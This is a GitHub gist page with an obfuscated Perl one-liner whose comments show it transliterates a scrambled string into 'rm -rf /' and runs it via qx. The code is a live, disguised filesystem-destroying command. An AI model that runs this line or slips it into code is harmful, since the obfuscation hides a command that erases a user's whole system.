Skip to content

Instantly share code, notes, and snippets.

@e000
Created November 2, 2011 04:52
Show Gist options
  • Save e000/1332889 to your computer and use it in GitHub Desktop.
Save e000/1332889 to your computer and use it in GitHub Desktop.
s..[){+[^{}.;y.{+}^)[. \-\/fmr.;qx.$_.;
# How it works
s..[){+[^{}.; # defines $_ as "[){+[^{}."
y.{+}^)[. \-\/fmr.; # translates
print $_;
# "{" = " "
# "+" = "-"
# "}" = "/"
# "^" = "f"
# ")" = "m"
# "[" = "r"
## thus, it translates
# [){+[^{} to "rm -rf /"
## then qx.$_. executes it
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment